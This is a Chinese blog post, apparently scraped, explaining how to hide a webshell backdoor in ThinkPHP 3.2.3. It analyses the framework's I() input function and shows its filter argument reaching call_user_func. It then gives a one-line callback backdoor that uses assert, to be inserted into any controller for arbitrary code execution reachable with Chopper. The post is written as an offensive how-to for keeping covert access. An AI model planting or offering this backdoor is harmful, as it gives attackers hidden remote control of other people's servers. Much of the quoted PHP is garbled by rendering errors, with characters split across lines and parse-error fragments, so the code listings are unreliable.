@ThinkPHP留后门技巧
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
01 function I($name, $default = ‘’, $filter = null, $datas = null)
02 {
03 …
04
05 if (’’ == $name) {
06 // 获取全部变量
07 $data = $input;
08
f
i
l
t
e
r
s
=
i
s
s
e
t
(
filters = isset(
filters=isset(filter) ?
f
i
l
t
e
r
:
C
(
′
D
E
F
A
U
L
T
F
I
L
T
E
R
′
)
;
09
i
f
(
filter : C('DEFAULT_FILTER'); 09 if (
filter:C(′DEFAULTFILTER′);09if(filters) {
10 if (is_string($filters)) {
11 $filters = explode(’,’, KaTeX parse error: Expected 'EOF', got '}' at position 26: …12 }̲ 13 …filters as $filter) {
14
d
a
t
a
=
a
r
r
a
y
m
a
p
r
e
c
u
r
s
i
v
e
(
data = array_map_recursive(
data=arraymaprecursive(filter, KaTeX parse error: Expected 'EOF', got '}' at position 31: …15 }̲ 16 } 1…input[$name])) {
18 // 取值操作
19 $data =
i
n
p
u
t
[
input[
input[name];
20
f
i
l
t
e
r
s
=
i
s
s
e
t
(
filters = isset(
filters=isset(filter) ?
f
i
l
t
e
r
:
C
(
′
D
E
F
A
U
L
T
F
I
L
T
E
R
′
)
;
21
i
f
(
filter : C('DEFAULT_FILTER'); 21 if (
filter:C(′DEFAULTFILTER′);21if(filters) {
22 if (is_string(KaTeX parse error: Expected '}', got 'EOF' at end of input: … (0 === strpos(filters, ‘/’)) {
24 if (1 !== preg_match($filters, (string) KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
27 }
28 } else {
29 $filters = explode(’,’, KaTeX parse error: Expected 'EOF', got '}' at position 30: … }̲ 31 …filters)) {
32
f
i
l
t
e
r
s
=
a
r
r
a
y
(
filters = array(
filters=array(filters);
33 }
34
35 if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (filters as KaTeX parse error: Expected '}', got 'EOF' at end of input: …unction_exists(filter)) {
38
d
a
t
a
=
i
s
a
r
r
a
y
(
data = is_array(
data=isarray(data) ? array_map_recursive($filter, $data) :
f
i
l
t
e
r
(
filter(
filter(data); // 参数过滤
39 } else {
40
d
a
t
a
=
f
i
l
t
e
r
v
a
r
(
data = filter_var(
data=filtervar(data, is_int($filter) ?
f
i
l
t
e
r
:
f
i
l
t
e
r
i
d
(
filter : filter_id(
filter:filterid(filter));
41 if (false === KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
43 }
44 }
45 }
46 }
47 }
48 …
49 return $data;
50
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars
convention_php_—_thinkphp.png
以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1 if (0 === strpos(KaTeX parse error: Expected '}', got 'EOF' at end of input: …!== preg_match(filters, (string) KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? KaTeX parse error: Expected 'EOF', got '}' at position 23: … : null; 5 }̲ 6 } 如果第0个字…default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01 if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …2 foreach (filters as KaTeX parse error: Expected '}', got 'EOF' at end of input: …unction_exists(filter)) {
04
d
a
t
a
=
i
s
a
r
r
a
y
(
data = is_array(
data=isarray(data) ? array_map_recursive($filter, $data) :
f
i
l
t
e
r
(
filter(
filter(data); // 参数过滤
05 } else {
06
d
a
t
a
=
f
i
l
t
e
r
v
a
r
(
data = filter_var(
data=filtervar(data, is_int($filter) ?
f
i
l
t
e
r
:
f
i
l
t
e
r
i
d
(
filter : filter_id(
filter:filterid(filter));
07 if (false === KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
09 }
10 }
11 }
12 }
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01 function array_map_recursive($filter, $data)
02 {
03
r
e
s
u
l
t
=
a
r
r
a
y
(
)
;
04
f
o
r
e
a
c
h
(
result = array(); 04 foreach (
result=array();04foreach(data as $key => $val) {
05
r
e
s
u
l
t
[
result[
result[key] = is_array(
v
a
l
)
06
?
a
r
r
a
y
m
a
p
r
e
c
u
r
s
i
v
e
(
val) 06 ? array_map_recursive(
val)06?arraymaprecursive(filter,
v
a
l
)
07
:
c
a
l
l
u
s
e
r
f
u
n
c
(
val) 07 : call_user_func(
val)07:calluserfunc(filter, $val);
08 }
09 return $result;
10 }
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1 I(‘post.90sec’, ‘’, I(‘get.i’));
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:
IndexController_class_php_—_thinkphp.png
如下即可执行任意代码:
phpinfo__.png
一个回调后门,菜刀也可以连接。